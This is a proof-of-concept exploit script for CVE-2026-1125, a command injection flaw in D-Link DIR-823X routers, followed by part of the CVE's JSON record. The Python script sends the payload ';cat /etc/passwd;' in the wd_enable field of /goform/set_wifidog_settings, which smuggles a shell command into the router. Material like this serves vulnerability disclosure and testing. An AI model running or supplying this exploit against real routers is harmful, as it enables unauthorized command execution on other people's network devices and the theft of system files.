CVE-2026-1125

import requests # CVE-2026-1125 PoC - D-Link DIR-823X Command Injection # Target: D-Link DIR-823X router with firmware 250416 # Vulnerability: Command injection in /goform/set_wifidog_settings target_ip = "192.168.0.1" # Default router IP target_url = f"http://{target_ip}/goform/set_wifidog_settings" # Malicious payload to execute command (e.g., cat /etc/passwd) # Using semicolon to inject command payload = ";cat /etc/passwd;" data = { "wd_enable": payload } try: response = requests.post(target_url, data=data, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-1125", "sourceIdentifier": "[email protected]", "published": "2026-01-18T16:15:50.810", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in D-Link DIR-823X 250416. Affected by this issue is the function sub_412E7C of the file /goform/set_wifidog_settings. Executing a manipulation of the argument wd_enable can lead to command injection. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks."}, {"lang": "es", "value": "Se ha identificado una debilidad en D-Link DIR-823X 250416. Este problema afecta a la función sub_412E7C del archivo /goform/set_wifidog_settings. La manipulación del argumento wd_enable puede llevar a una inyección de comandos. El ataque puede ejecutarse de forma remota. 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